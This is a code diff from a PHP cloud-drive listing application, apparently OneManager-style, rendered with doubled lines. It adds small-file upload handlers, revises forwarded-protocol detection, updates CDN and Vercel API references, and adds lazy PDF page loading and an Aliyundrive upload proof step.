alert("Do not input \"" + t.disktag_add.value + "\" in ' . getconstStr('DiskTag') . '");
|
alert("Do not input \"" + t.disktag_add.value + "\" in ' . getconstStr('DiskTag') . '");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
|
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
|
||||||
if (!reg.test(t.disktag_add.value)) {
|
if (!reg.test(t.disktag_add.value)) {
|
||||||
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
alert(\'' . getconstStr('TagFormatAlert') . '\');
|
||||||
return false;
|
return false;
|
||||||
@@ -954,6 +973,20 @@ class Onedrive {
|
|||||||
return $thumb_url;
|
return $thumb_url;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function smallfileupload($path, $tmpfile) {
|
||||||
|
if (!$_SERVER['admin']) {
|
||||||
|
$tmp1 = splitlast($tmpfile['name'], '.');
|
||||||
|
if ($tmp1[0]==''||$tmp1[1]=='') $filename = md5_file($tmpfile['tmp_name']);
|
||||||
|
else $filename = md5_file($tmpfile['tmp_name']) . '.' . $tmp1[1];
|
||||||
|
} else {
|
||||||
|
$filename = $tmpfile['name'];
|
||||||
|
}
|
||||||
|
$content = file_get_contents($tmpfile['tmp_name']);
|
||||||
|
$result = $this->MSAPI('PUT', path_format($_SERVER['list_path'] . '/' . $path . '/' . $filename), $content);
|
||||||
|
$res = $this->files_format(json_decode($result['body'], true));
|
||||||
|
if (isset($res['url'])) $res['url'] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename);
|
||||||
|
return output(json_encode($res, JSON_UNESCAPED_SLASHES), $result['stat']);
|
||||||
|
}
|
||||||
public function bigfileupload($path)
|
public function bigfileupload($path)
|
||||||
{
|
{
|
||||||
if ($_POST['upbigfilename']=='') return output('error: no file name', 400);
|
if ($_POST['upbigfilename']=='') return output('error: no file name', 400);
|
||||||
|
|||||||
@@ -67,7 +67,9 @@ if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') {
|
|||||||
} else {
|
} else {
|
||||||
include 'platform/Normal.php';
|
include 'platform/Normal.php';
|
||||||
if (!function_exists('curl_init')) {
|
if (!function_exists('curl_init')) {
|
||||||
return message('<font color="red">Need curl</font>, please install php-curl.', 'Error', 500);
|
http_response_code(500);
|
||||||
|
echo '<font color="red">Need curl</font>, please install php-curl.';
|
||||||
|
exit(1);
|
||||||
}
|
}
|
||||||
$path = getpath();
|
$path = getpath();
|
||||||
//echo 'path:'. $path;
|
//echo 'path:'. $path;
|
||||||
|
|||||||
Vendored
+8
File diff suppressed because one or more lines are too long
@@ -546,3 +546,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through FC.', 400);
|
||||||
|
}
|
||||||
|
|||||||
@@ -485,3 +485,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through CFC.', 400);
|
||||||
|
}
|
||||||
|
|||||||
@@ -415,3 +415,9 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||||
|
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||||
|
return $drive->smallfileupload($path, $_FILES['file1']);
|
||||||
|
}
|
||||||
|
|||||||
@@ -536,3 +536,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through FG.', 400);
|
||||||
|
}
|
||||||
|
|||||||
@@ -902,3 +902,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through FG.', 400);
|
||||||
|
}
|
||||||
|
|||||||
+12
-7
@@ -5,12 +5,13 @@ function getpath()
|
|||||||
$_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]);
|
$_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]);
|
||||||
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||||
if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP'];
|
if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP'];
|
||||||
|
if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO'];
|
||||||
|
if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') {
|
||||||
|
$tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0];
|
||||||
|
if ($tmp=='http'||$tmp=='https') $_SERVER['REQUEST_SCHEME'] = $tmp;
|
||||||
|
}
|
||||||
if ($_SERVER['REQUEST_SCHEME']!='http'&&$_SERVER['REQUEST_SCHEME']!='https') {
|
if ($_SERVER['REQUEST_SCHEME']!='http'&&$_SERVER['REQUEST_SCHEME']!='https') {
|
||||||
if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') {
|
$_SERVER['REQUEST_SCHEME'] = 'http';
|
||||||
$tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0];
|
|
||||||
if ($tmp=='http'||$tmp=='https') $_SERVER['REQUEST_SCHEME'] = $tmp;
|
|
||||||
}
|
|
||||||
if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO'];
|
|
||||||
}
|
}
|
||||||
$_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];
|
$_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];
|
||||||
$_SERVER['referhost'] = explode('/', $_SERVER['HTTP_REFERER'])[2];
|
$_SERVER['referhost'] = explode('/', $_SERVER['HTTP_REFERER'])[2];
|
||||||
@@ -22,8 +23,6 @@ function getpath()
|
|||||||
else $path = $_SERVER['REQUEST_URI'];
|
else $path = $_SERVER['REQUEST_URI'];
|
||||||
$path = path_format( substr($path, strlen($_SERVER['base_path'])) );
|
$path = path_format( substr($path, strlen($_SERVER['base_path'])) );
|
||||||
return $path;
|
return $path;
|
||||||
//return substr($path, 1);
|
|
||||||
//return spurlencode($path, '/');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function getGET()
|
function getGET()
|
||||||
@@ -392,3 +391,9 @@ function WaitFunction() {
|
|||||||
function changeAuthKey() {
|
function changeAuthKey() {
|
||||||
return message("Not need.", 'Change platform Auth token or key', 404);
|
return message("Not need.", 'Change platform Auth token or key', 404);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||||
|
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||||
|
return $drive->smallfileupload($path, $_FILES['file1']);
|
||||||
|
}
|
||||||
|
|||||||
@@ -355,3 +355,9 @@ function WaitFunction() {
|
|||||||
function changeAuthKey() {
|
function changeAuthKey() {
|
||||||
return message("Not need.", 'Change platform Auth token or key', 404);
|
return message("Not need.", 'Change platform Auth token or key', 404);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||||
|
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||||
|
return $drive->smallfileupload($path, $_FILES['file1']);
|
||||||
|
}
|
||||||
|
|||||||
@@ -662,3 +662,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through SCF.', 400);
|
||||||
|
}
|
||||||
|
|||||||
@@ -705,3 +705,7 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
return output('Can not upload through SCF.', 400);
|
||||||
|
}
|
||||||
|
|||||||
+8
-2
@@ -316,7 +316,7 @@ function VercelUpdate($appId, $token, $sourcePath = "")
|
|||||||
$data["target"] = "production";
|
$data["target"] = "production";
|
||||||
$data["routes"][0]["src"] = "/(.*)";
|
$data["routes"][0]["src"] = "/(.*)";
|
||||||
$data["routes"][0]["dest"] = "/api/index.php";
|
$data["routes"][0]["dest"] = "/api/index.php";
|
||||||
$data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.4.0";
|
$data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.5.1";
|
||||||
if ($sourcePath=="") $sourcePath = splitlast(splitlast(__DIR__, "/")[0], "/")[0];
|
if ($sourcePath=="") $sourcePath = splitlast(splitlast(__DIR__, "/")[0], "/")[0];
|
||||||
//echo $sourcePath . "<br>";
|
//echo $sourcePath . "<br>";
|
||||||
getEachFiles($file, $sourcePath);
|
getEachFiles($file, $sourcePath);
|
||||||
@@ -432,7 +432,7 @@ function WaitFunction($deployid = '') {
|
|||||||
}
|
}
|
||||||
$header["Authorization"] = "Bearer " . getConfig('APIKey');
|
$header["Authorization"] = "Bearer " . getConfig('APIKey');
|
||||||
$header["Content-Type"] = "application/json";
|
$header["Content-Type"] = "application/json";
|
||||||
$url = "https://api.vercel.com/v11/deployments/" . $deployid;
|
$url = "https://api.vercel.com/v13/deployments/" . $deployid;
|
||||||
$response = curl("GET", $url, "", $header);
|
$response = curl("GET", $url, "", $header);
|
||||||
if ($response['stat']==200) {
|
if ($response['stat']==200) {
|
||||||
$result = json_decode($response['body'], true);
|
$result = json_decode($response['body'], true);
|
||||||
@@ -489,3 +489,9 @@ function changeAuthKey() {
|
|||||||
</script>';
|
</script>';
|
||||||
return message($html, 'Change platform Auth token or key', 200);
|
return message($html, 'Change platform Auth token or key', 200);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function smallfileupload($drive, $path) {
|
||||||
|
if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
|
||||||
|
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
|
||||||
|
return $drive->smallfileupload($path, $_FILES['file1']);
|
||||||
|
}
|
||||||
|
|||||||
@@ -386,7 +386,7 @@
|
|||||||
<div style="margin:50px">
|
<div style="margin:50px">
|
||||||
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
||||||
<center>
|
<center>
|
||||||
<form action="<!--IsPreview?-->admin" method="post">
|
<form action="<!--IsPreview?-->login=admin" method="post">
|
||||||
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
<input type="submit" value="<!--constStr@Login-->">
|
<input type="submit" value="<!--constStr@Login-->">
|
||||||
</form>
|
</form>
|
||||||
|
|||||||
+159
-48
@@ -107,7 +107,6 @@
|
|||||||
<h1 class="title" id="title">
|
<h1 class="title" id="title">
|
||||||
<a href="<!--base_path-->"><!--Sitename--></a>
|
<a href="<!--base_path-->"><!--Sitename--></a>
|
||||||
</h1>
|
</h1>
|
||||||
<!--
|
|
||||||
<!--MultiDiskAreaStart-->
|
<!--MultiDiskAreaStart-->
|
||||||
<div class="list-wrapper" id="more-disk-div">
|
<div class="list-wrapper" id="more-disk-div">
|
||||||
<div class="list-container">
|
<div class="list-container">
|
||||||
@@ -121,7 +120,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!--MultiDiskAreaEnd-->
|
<!--MultiDiskAreaEnd-->
|
||||||
-->
|
|
||||||
<!--HeadomfStart-->
|
<!--HeadomfStart-->
|
||||||
<div class="list-wrapper" id="head-om-div">
|
<div class="list-wrapper" id="head-om-div">
|
||||||
<div class="list-container">
|
<div class="list-container">
|
||||||
@@ -485,12 +483,13 @@
|
|||||||
<div style="color: rgba(247,247,249,0);"><!--FootStr--></div>
|
<div style="color: rgba(247,247,249,0);"><!--FootStr--></div>
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
|
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css">
|
||||||
|
<script type="text/javascript" src="https://unpkg.com/marked@0.6.2/lib/marked.js"></script><!--MdRequireEnd-->
|
||||||
<!--ListStart-->
|
<!--ListStart-->
|
||||||
<!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
|
|
||||||
<script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
|
|
||||||
<!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
|
<!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
|
||||||
<!--AliyundriveUploadJsStart--><script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script><!--AliyundriveUploadJsEnd-->
|
<!--AliyundriveUploadJsStart--><script src="https://unpkg.com/bignumber.js@9.0.2/bignumber.js"></script>
|
||||||
<!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
|
<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--AliyundriveUploadJsEnd-->
|
||||||
|
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
|
||||||
<!--ListEnd-->
|
<!--ListEnd-->
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function changelanguage(str)
|
function changelanguage(str)
|
||||||
@@ -521,13 +520,53 @@
|
|||||||
f.password1.value = sha1(timestamp + "" + f.password1.value);
|
f.password1.value = sha1(timestamp + "" + f.password1.value);
|
||||||
return true;
|
return true;
|
||||||
} catch {
|
} catch {
|
||||||
alert("sha1.js not loaded.");
|
//alert("sha1.js not loaded.");
|
||||||
|
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
function loadjs(url) {
|
||||||
|
var xhr = new XMLHttpRequest;
|
||||||
|
xhr.open("GET", url);
|
||||||
|
xhr.onload = function(e) {
|
||||||
|
if (xhr.status==200) {
|
||||||
|
var script = document.createElement("script");
|
||||||
|
script.type = "text/javascript";
|
||||||
|
script.text = xhr.responseText;
|
||||||
|
document.body.appendChild(script);
|
||||||
|
} else {
|
||||||
|
console.log(xhr.response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xhr.send(null);
|
||||||
|
}
|
||||||
<!--LoginEnd-->
|
<!--LoginEnd-->
|
||||||
|
<!--WriteTimezoneStart-->
|
||||||
|
var nowtime= new Date();
|
||||||
|
var timezone = 0-nowtime.getTimezoneOffset()/60;
|
||||||
|
var expd = new Date();
|
||||||
|
expd.setTime(expd.getTime()+(2*60*60*1000));
|
||||||
|
var expires = "expires="+expd.toGMTString();
|
||||||
|
document.cookie="timezone="+timezone+"; path=/; "+expires;
|
||||||
|
if (timezone!=<!--timezone-->) {
|
||||||
|
//alert('Your timezone is '+timezone+', reload local timezone.');
|
||||||
|
location.href=location.href;
|
||||||
|
}
|
||||||
|
<!--WriteTimezoneEnd-->
|
||||||
|
<!--HeadmdStart-->
|
||||||
|
var $head = document.getElementById('head');
|
||||||
|
if ($head) {
|
||||||
|
//document.getElementById('head-div').parentNode.insertBefore(document.getElementById('head-div'),document.getElementById('list-div'));
|
||||||
|
$head.innerHTML = marked(document.getElementById('head-md').innerText);
|
||||||
|
}
|
||||||
|
<!--HeadmdEnd-->
|
||||||
|
<!--ReadmemdStart-->
|
||||||
|
var $readme = document.getElementById('readme');
|
||||||
|
if ($readme) {
|
||||||
|
$readme.innerHTML = marked(document.getElementById('readme-md').innerText);
|
||||||
|
}
|
||||||
|
<!--ReadmemdEnd-->
|
||||||
<!--ListStart-->
|
<!--ListStart-->
|
||||||
|
|
||||||
<!--IsFileStart-->
|
<!--IsFileStart-->
|
||||||
var $url = document.getElementById('url');
|
var $url = document.getElementById('url');
|
||||||
if ($url) {
|
if ($url) {
|
||||||
@@ -616,26 +655,65 @@
|
|||||||
addVideos(["<!--FileEncodeUrl-->"]);
|
addVideos(["<!--FileEncodeUrl-->"]);
|
||||||
<!--IsvideoFileEnd-->
|
<!--IsvideoFileEnd-->
|
||||||
<!--IspdfFileStart-->
|
<!--IspdfFileStart-->
|
||||||
pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
|
//cdn.bootcss.com/pdf.js/2.4.456/pdf.worker.min.js
|
||||||
|
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js';
|
||||||
var loadingTask = pdfjsLib.getDocument({
|
var loadingTask = pdfjsLib.getDocument({
|
||||||
url: "<!--FileDownUrl-->",
|
url: "<!--FileDownUrl-->",
|
||||||
cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
|
cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/",
|
||||||
cMapPacked: true,
|
cMapPacked: true,
|
||||||
|
disableStream: true,
|
||||||
|
disableAutoFetch: true,
|
||||||
rangeChunkSize: 65535
|
rangeChunkSize: 65535
|
||||||
});
|
});
|
||||||
|
/*loadingTask.onProgress = (e) => {
|
||||||
|
//console.log(e);
|
||||||
|
var p = document.getElementById('p');
|
||||||
|
if (p==null) {
|
||||||
|
p = document.createElement('div');
|
||||||
|
p.id = 'p';
|
||||||
|
p.setAttribute('onclick', "this.style.display = 'none';");
|
||||||
|
p.style = 'left: 10px; top: 30%; position: fixed;';
|
||||||
|
document.body.appendChild(p);
|
||||||
|
}
|
||||||
|
p.innerHTML = 'Loaded: ' + ((e.loaded/e.total)*100).toFixed(2) + '%<br>(' + size_format(e.loaded) + ' / ' + size_format(e.total) + ')';
|
||||||
|
p.style.display = '';
|
||||||
|
if (e.loaded==e.total) p.style.display = 'none';
|
||||||
|
|
||||||
|
}*/
|
||||||
loadingTask.promise.then(function(pdf) {
|
loadingTask.promise.then(function(pdf) {
|
||||||
var pagenum = pdf.numPages;
|
var pagenum = pdf.numPages;
|
||||||
var pdfContainer = document.getElementById('pdf-d');
|
var pdfContainer = document.getElementById('pdf-d');
|
||||||
pdfContainer.innerHTML = '';
|
pdfContainer.innerHTML = '';
|
||||||
for (var i=1;i<=pagenum;i++) {
|
var pagepos = 1;
|
||||||
var canvasNew = document.createElement('canvas');
|
var pdfnextpagebutton = document.createElement('button');
|
||||||
canvasNew.id = 'pdf-c'+i;
|
pdfnextpagebutton.id = 'pdfnextpagebutton';
|
||||||
pdfContainer.appendChild(canvasNew);
|
pdfnextpagebutton.innerText = 'Load page ' + pagepos + '-' + (pagepos+4<pagenum?pagepos+4:pagenum) + ' (' + pagenum + ')';
|
||||||
renderpage(pdf,i);
|
pdfnextpagebutton.setAttribute('onclick', "this.style.display = 'none';");
|
||||||
}
|
pdfnextpagebutton.style.display = 'none';
|
||||||
|
pdfContainer.appendChild(pdfnextpagebutton);
|
||||||
|
var pdfWaitNextPage = setInterval(function(){
|
||||||
|
//console.log(document.documentElement.scrollTop + ", " + document.body.scrollHeight);
|
||||||
|
if (pdfnextpagebutton.style.display=='none') {
|
||||||
|
for (var i=pagepos;i<=(pagepos+4<pagenum?pagepos+4:pagenum);i++) {
|
||||||
|
var canvasNew = document.createElement('canvas');
|
||||||
|
canvasNew.id = 'pdf-c'+i;
|
||||||
|
pdfContainer.appendChild(canvasNew);
|
||||||
|
renderpage(pdf,i);
|
||||||
|
}
|
||||||
|
pagepos = i;
|
||||||
|
if (pagepos<pagenum) {
|
||||||
|
console.log("next page: " + pagepos + " / " + pagenum);
|
||||||
|
pdfnextpagebutton.innerText = 'Load page ' + pagepos + '-' + (pagepos+4<pagenum?pagepos+4:pagenum) + ' (' + pagenum + ')';
|
||||||
|
pdfnextpagebutton.style.display ='';
|
||||||
|
pdfContainer.appendChild(pdfnextpagebutton);
|
||||||
|
} else {
|
||||||
|
console.log("end of pdf");
|
||||||
|
clearInterval(pdfWaitNextPage);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, 1000);
|
||||||
});
|
});
|
||||||
function renderpage(pdf,i)
|
function renderpage(pdf,i) {
|
||||||
{
|
|
||||||
pdf.getPage(i).then(function(page) {
|
pdf.getPage(i).then(function(page) {
|
||||||
var scale = 1.5;
|
var scale = 1.5;
|
||||||
var viewport = page.getViewport({ scale: scale, });
|
var viewport = page.getViewport({ scale: scale, });
|
||||||
@@ -650,22 +728,27 @@
|
|||||||
page.render(renderContext);
|
page.render(renderContext);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
function size_format(num) {
|
||||||
|
if (num>1024) {
|
||||||
|
num=num/1024;
|
||||||
|
} else {
|
||||||
|
return num.toFixed(2) + ' B';
|
||||||
|
}
|
||||||
|
if (num>1024) {
|
||||||
|
num=num/1024;
|
||||||
|
} else {
|
||||||
|
return num.toFixed(2) + ' KB';
|
||||||
|
}
|
||||||
|
if (num>1024) {
|
||||||
|
num=num/1024;
|
||||||
|
} else {
|
||||||
|
return num.toFixed(2) + ' MB';
|
||||||
|
}
|
||||||
|
return num.toFixed(2) + ' GB';
|
||||||
|
}
|
||||||
<!--IspdfFileEnd-->
|
<!--IspdfFileEnd-->
|
||||||
<!--IsFileEnd-->
|
<!--IsFileEnd-->
|
||||||
<!--IsFolderStart-->
|
<!--IsFolderStart-->
|
||||||
<!--HeadmdStart-->
|
|
||||||
var $head = document.getElementById('head');
|
|
||||||
if ($head) {
|
|
||||||
//document.getElementById('head-div').parentNode.insertBefore(document.getElementById('head-div'),document.getElementById('list-div'));
|
|
||||||
$head.innerHTML = marked(document.getElementById('head-md').innerText);
|
|
||||||
}
|
|
||||||
<!--HeadmdEnd-->
|
|
||||||
<!--ReadmemdStart-->
|
|
||||||
var $readme = document.getElementById('readme');
|
|
||||||
if ($readme) {
|
|
||||||
$readme.innerHTML = marked(document.getElementById('readme-md').innerText);
|
|
||||||
}
|
|
||||||
<!--ReadmemdEnd-->
|
|
||||||
<!--ShowThumbnailsStart-->
|
<!--ShowThumbnailsStart-->
|
||||||
function showthumbnails(obj) {
|
function showthumbnails(obj) {
|
||||||
images = [<!--ImgExts-->];
|
images = [<!--ImgExts-->];
|
||||||
@@ -796,18 +879,6 @@
|
|||||||
}
|
}
|
||||||
<!--IsNotHiddenEnd-->
|
<!--IsNotHiddenEnd-->
|
||||||
<!--IsFolderEnd-->
|
<!--IsFolderEnd-->
|
||||||
<!--WriteTimezoneStart-->
|
|
||||||
var nowtime= new Date();
|
|
||||||
var timezone = 0-nowtime.getTimezoneOffset()/60;
|
|
||||||
var expd = new Date();
|
|
||||||
expd.setTime(expd.getTime()+(2*60*60*1000));
|
|
||||||
var expires = "expires="+expd.toGMTString();
|
|
||||||
document.cookie="timezone="+timezone+"; path=/; "+expires;
|
|
||||||
if (timezone!=<!--timezone-->) {
|
|
||||||
alert('Your timezone is '+timezone+', reload local timezone.');
|
|
||||||
location.href=location.href;
|
|
||||||
}
|
|
||||||
<!--WriteTimezoneEnd-->
|
|
||||||
function CopyAllDownloadUrl(str) {
|
function CopyAllDownloadUrl(str) {
|
||||||
var tmptextarea=document.createElement('textarea');
|
var tmptextarea=document.createElement('textarea');
|
||||||
document.body.appendChild(tmptextarea);
|
document.body.appendChild(tmptextarea);
|
||||||
@@ -1147,7 +1218,39 @@
|
|||||||
}// else console.log(Object.keys(uploading).length);
|
}// else console.log(Object.keys(uploading).length);
|
||||||
} else clearInterval(uploadList);
|
} else clearInterval(uploadList);
|
||||||
}, 1000);
|
}, 1000);
|
||||||
//getuplink(i);
|
function CalcProof(file) {
|
||||||
|
return new Promise(function(resolve, reject){
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", '?action=upbigfile');
|
||||||
|
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=utf-8");
|
||||||
|
xhr.setRequestHeader('x-requested-with', 'XMLHttpRequest');
|
||||||
|
xhr.onload = function(e){
|
||||||
|
var html;
|
||||||
|
if (xhr.status==200) {
|
||||||
|
//console.log(xhr.responseText);
|
||||||
|
var r = new BigNumber("0x".concat(xhr.responseText));
|
||||||
|
var i = new BigNumber(file.size);
|
||||||
|
var o = i ? r.mod(i) : 0;
|
||||||
|
var reader1 = new FileReader();
|
||||||
|
var start = o.toNumber();
|
||||||
|
var end = start + 8;
|
||||||
|
//if (file.size<end) end = file.size;
|
||||||
|
console.log(start + " ~ " + end);
|
||||||
|
//reader1.readAsBinaryString(file.slice(start,end));
|
||||||
|
reader1.readAsDataURL(file.slice(start,end));
|
||||||
|
reader1.onload = function(e) {
|
||||||
|
var proof = this.result;
|
||||||
|
proof = proof.substr(proof.indexOf('base64,')+7);
|
||||||
|
resolve(proof);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
//console.log(xhr.status+'calc proof code\n'+xhr.responseText);
|
||||||
|
reject(xhr.status+"\ncalc proof code\n"+xhr.responseText);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xhr.send('CalcProof=1');
|
||||||
|
});
|
||||||
|
}
|
||||||
function getuplink(i, r=0) {
|
function getuplink(i, r=0) {
|
||||||
var file=files[i];
|
var file=files[i];
|
||||||
var td1;
|
var td1;
|
||||||
@@ -1175,6 +1278,7 @@
|
|||||||
uploadbuttonshow();
|
uploadbuttonshow();
|
||||||
return;
|
return;
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
var upbigfilename = encodeURIComponent((file.webkitRelativePath||file.name));
|
var upbigfilename = encodeURIComponent((file.webkitRelativePath||file.name));
|
||||||
uploading[upbigfilename] = [i];
|
uploading[upbigfilename] = [i];
|
||||||
var spark = sha1.create();
|
var spark = sha1.create();
|
||||||
@@ -1186,7 +1290,14 @@
|
|||||||
var blob = file.slice(start,end);
|
var blob = file.slice(start,end);
|
||||||
reader.readAsArrayBuffer(blob);
|
reader.readAsArrayBuffer(blob);
|
||||||
}
|
}
|
||||||
readblob(asize);
|
var proof_code = '';
|
||||||
|
CalcProof(file).then(a => {
|
||||||
|
proof_code = a;
|
||||||
|
console.log('proof: ' + proof_code);
|
||||||
|
readblob(asize);
|
||||||
|
}, e => {
|
||||||
|
td2.innerHTML = e;
|
||||||
|
});
|
||||||
|
|
||||||
reader.onload = function(e){
|
reader.onload = function(e){
|
||||||
td2.innerHTML='<!--constStr@Calculate--> SHA1: '+(asize*100/file.size).toFixed(2)+'%';
|
td2.innerHTML='<!--constStr@Calculate--> SHA1: '+(asize*100/file.size).toFixed(2)+'%';
|
||||||
@@ -1254,7 +1365,7 @@
|
|||||||
getuplink(i);
|
getuplink(i);
|
||||||
}*/
|
}*/
|
||||||
}
|
}
|
||||||
xhr1.send('upbigfilename='+ upbigfilename +'&filesize='+ file.size +'&filelastModified='+ file.lastModified + '&filesha1=' + filesha1 + '&chunksize=' + chunksize + '&_admin=' + localStorage.getItem("admin"));
|
xhr1.send('upbigfilename='+ upbigfilename +'&filesize='+ file.size +'&filelastModified='+ file.lastModified + '&proof_code=' + proof_code + '&filesha1=' + filesha1 + '&chunksize=' + chunksize + '&_admin=' + localStorage.getItem("admin"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1652,7 +1763,7 @@
|
|||||||
document.getElementById('password1').focus();
|
